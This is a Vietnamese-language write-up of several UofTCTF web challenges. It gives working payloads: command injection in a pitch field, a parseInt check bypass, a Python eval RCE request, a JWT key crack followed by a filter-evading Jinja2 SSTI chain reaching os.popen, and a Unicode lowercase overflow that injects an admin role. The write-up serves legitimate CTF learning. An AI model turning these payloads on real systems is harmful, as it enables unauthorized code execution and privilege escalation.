# UofCTF #### Voice Changer ![image](https://hackmd.io/_uploads/B15QOvpFa.png) Trang web cung cấp cho ta khả năng thay đổi giá trị ```pitch``` Khi ```submit``` nó tạo cho ta một ``POST`` request và trong output trả về có vẻ là ```command``` thực hiện trên ``bash`` ![image](https://hackmd.io/_uploads/r1gAgtwaFa.png) Output trả về thực hiện command trong bash vậy liệu ta có thể trigger RCE ở đây không? ![image](https://hackmd.io/_uploads/By0XYvatT.png) Ta có thể bypass qua quotes bằng cách sử dụng ```";``` ![image](https://hackmd.io/_uploads/S1m8qD6tp.png) Ở đây ta có thể thấy một file ```secret.txt``` có vẻ là flag ![image](https://hackmd.io/_uploads/SyvR5wpF6.png) Flag is ```uoftctf{Y0UR Pitch IS 70O H!9H}``` ![image](https://hackmd.io/_uploads/rya7iwpFp.png) #### The varity ![image](https://hackmd.io/_uploads/ryis4ATYT.png) Trang web cho phép ta load các article từ 1 - 10. Flag có vẻ nằm ở article 10 tuy nhiên nếu ta truyền ```issue``` lớn hơn 9 nó sẽ return ra ```Please subcribe to access this issue``` ![image](https://hackmd.io/_uploads/Hkq3rCpYp.png) Nhìn vào source code được cung cấp ta dễ dàng thấy được có một cách sử dụng một hàm không an toàn là ```parseInt```, khi truyền vào ```issue```, nó sẽ được xử lý qua hàm này. Tuy nhiên trong ```parseInt```, có những cách xử lý đặc biệt mà ta có thể khai thác ``` parseInt("9 10 11") => 9 parseInt([9, 1337]) => 9 parseInt("9 k") => 9 ``` Ta có thể sử dụng cách này để bypass qua việc check ```issue >=9``` để có thể call được article chứa ```FLAG``` ![image](https://hackmd.io/_uploads/HJc7DApKT.png) #### No code ``` from flask import Flask, request, jsonify import re app = Flask(__name__) @app.route('/execute', methods=['POST']) def execute_code(): code = request.form.get('code', '') if re.match(".*[\x20-\x7E]+.*", code): return jsonify({"output": "jk lmao no code"}), 403 result = "" try: result = eval(code) except Exception as e: result = str(e) return jsonify({"output": result}), 200 if __name__ == "__main__": app.run(host="0.0.0.0", port=1337, debug=False) ``` Đoạn code sử dụng regex các printable characters, ... sau đó result tra ra ```eval(code)```. Như vậy ta có thể trigger được RCE và để bypass regex cách hiệu quả là sử dụng `\n`. ``` POST /execute HTTP/1.1 Host: uoftctf-no-code.chals.io Content-Type: application/x-www-form-urlencoded Content-Length: 15 code= __import__("os").popen("cat flag.txt").read() ``` ![image](https://hackmd.io/_uploads/SyR1jRTFa.png) #### My first app ![image](https://hackmd.io/_uploads/S1qNsC6Yp.png) Trang web cho ta login bằng username, khi login nó trả về ```jwt token```, tuy nhiên nếu ta thử login qua admin, nó vẫn cho phép có vẻ ta sẽ khai thác được username qua việc thực thi SSTI ![image](https://hackmd.io/_uploads/H1vRi0TYp.png) ![image](https://hackmd.io/_uploads/HJDB2CaFp.png) Sử dụng ```jwt_tool``` để ta xem được thông tin của đoạn ```jwt token``` trên ![image](https://hackmd.io/_uploads/B1yBNJCYp.png) Nó sử dụng ```sign alg``` là ```HS256``` vậy liệu ta có thể bruteforce được key hay không? Tiếp tục sử dụng jwt_tool thì ta tìm được key là ```torontobluejays``` ![image](https://hackmd.io/_uploads/HkY6VJAtp.png) Tiếp tục sử dụng ```key``` này để sign lại jwt ta sửa lại ```username``` để xem phỏng đoán ban đầu là thực thi SSTI có chính xác không ![image](https://hackmd.io/_uploads/SyGZ8yRF6.png) Tiếp theo ta cần xem nó sử dụng template nào ![image](https://hackmd.io/_uploads/B1sKvkAKa.png) Như vậy ta cần thực thi Jinja2 SSTI. Tuy nhiên có vẻ authors sử dụng một blacklist khá lớn khiên các giá trị thường sử dụng như thông thường như ```globals```, ```[]```, `__`, ```popen```, ... bị filters và không thể thực thi được SSTI một cách dễ dàng ![image](https://hackmd.io/_uploads/HyoddkCtT.png) Sau khi fuzzing một hồi mình tìm được các giá trị như ```lipsum```, `request`, `attr`, `string`, có vẻ không bị filters Như vậy ta có thể sử dụng payload sau ```{{lipsum|attr(request.referer)}}``` để có thể call ```__globals__``` thông qua việc requests `Referer` - `lipsum`: Gọi một hàm hoặc phương thức liên quan đến tạo văn bản Lorem Ipsum - `attr(object, attribute_name)`: là một hàm mà bạn có thể sử dụng trong template để truy cập thuộc tính của một đối tượng. ![image](https://hackmd.io/_uploads/B1CqnoRFa.png) Bây giờ ta cần call được `os` từ `__globals__`, ta có thể sử dụng `batch`(`batch` là trong Jinja2 thường được sử dụng để chia danh sách thành các phần nhỏ có kích thước xác định), `min` là hàm để tìm giá trị nhỏ nhất ta có thể sử dụng nó để giới hạn kết quả trả về. Fuzzing đến 7 thì ta tìm được danh sách `os` ![image](https://hackmd.io/_uploads/Hk0YbnCFT.png) Vậy tiếp tục giới hạn danh sách trả về 4 objects với `batch(4)` và call tiếp hàm `max` để trả về danh sách ``'os', 're', 't'`` vậy để call ra `os` thì ta tiếp tục sử dụng `min` ![image](https://hackmd.io/_uploads/SJQcMnAY6.png) Bước tiếp theo là ta cần cần call được `__getitem__`, tiếp tục công thức này ta có thể sử dụng``{{lipsum|attr(request.referer)|attr(request.minetype)}}`` ![image](https://hackmd.io/_uploads/BJcw_2AFp.png) Kết hợp tất cả ta có payload sau ```{{(((lipsum|attr(request.referrer))|attr(request.mimetype))((lipsum|attr(request.referrer))|batch(7)|min|batch(4)|max|min|string)}} => {{lipsum.__globals__.os}}``` Bước cuối cùng ta call popen thông qua việc sử dụng ```header```: `Request.authorization` với hai trường sử dụng là `username` ta có thể call `popen` ( `popen` được sử dụng để mở một ống (pipe) đến hoặc từ một chương trình con (subprocess). Hàm này giúp bạn tương tác với các tiến trình bên ngoài từ chương trình Python) và `password` để call `command`. Mục đích của việc sử dụng header này giúp ta có thể bypass qua filters khi ta có thể encode hai trường kể trên dưới dạng base64 ``` Basic authentication For "Basic" authentication the credentials are constructed by first combining the username and the password with a colon (aladdin:opensesame), and then by encoding the resulting string in base64 (YWxhZGRpbjpvcGVuc2VzYW1l). ``` ###### Final Payload: `(((lipsum|attr(request.referrer))|attr(request.mimetype))((lipsum|attr(request.referrer))|batch(7)|min|batch(4)|max|min|string)|attr(request.authorization.username))(request.authorization.password).read()|string => {{lipsum.__globals__.os.popen('<cmd>').read()}}` ![image](https://hackmd.io/_uploads/Hysp7T0Ya.png) ![image](https://hackmd.io/_uploads/HyhgVaCFa.png) ```lipsum|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))(request.referrer.split().pop(2))|attr(request.referrer.split().pop(3))(request.referrer.split().pop(4))|attr(request.referrer.split().pop(5))()``` __globals__ __getitem__ os popen cat${IFS}flag.txt read ### Jay's Bank ![image](https://hackmd.io/_uploads/Bkkjn71cp.png) Một webpage cho phép ta sửa các thông tin cá nhân, ta có thể chỉnh sửa các trường như `phone`, `credit_cart`, `secret_question`, `secret_answer` ![image](https://hackmd.io/_uploads/By2wC7J5T.png) Để lấy được FLAG ta cần set role là `admin`, tuy nhiên `role` được xét mặc định là `user`, và không cho phép ta update `role` bằng cách truyền tham số. Tuy nhiên trong source code có một cách xử lý khá thú vị ![image](https://hackmd.io/_uploads/rJQMbV19T.png) Ở đây `secret_answer` được xử lý qua `toLowerCase()`. Trong một số trường hợp khi sử dụng `upper()` hay `lower()` việc biến đổi của các kí tự có sự thay đổi về mặt độ dài Hãy lấy ví dụ về đoạn code sau ``` for i in range(1000): key = chr(i) if(len(key.lower())> 1): print(key, len(key.lower())) // Result: İ 2 ``` Khi bạn sử dụng lower() trên chuỗi chứa ký tự ``"İ"``, nó sẽ chuyển đổi ``"İ"`` thành ``"i"`` nhưng còn dấu chấm trên đỉnh nó không bị xóa. Kết quả là ta sẽ có một chuỗi với độ dài bằng 2 Ta có thể tận dụng điều này để có thể ghi đè được `'role':'admin'` thông qua việc chèn các kí tự dạng `İ` thông qua `secret_answer`, hãy chú ý đến độ dài của trường `data` nếu vượt quá 255 nó sẽ bỏ qua những phần đằng sau, lúc này `data` truyền vào sẽ chứa `'role':'admin'`, thay vì `'role':'user'` ![image](https://hackmd.io/_uploads/BkFlgBk5a.png) Payload: ``` "phone": "00000000001", "credit_card": "12345678909874506", "secret_question": "İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ", "secret_answer": 'İİİİİİİİİİİİİİİİİİİİİİİİ","role":"admin"}', "current_password": "LLLL1nx1n@12345" ``` ![image](https://hackmd.io/_uploads/H1ZjQS15a.png) ![image](https://hackmd.io/_uploads/HyuhmSkqT.png) ![image](https://hackmd.io/_uploads/HkT07Bkq6.png)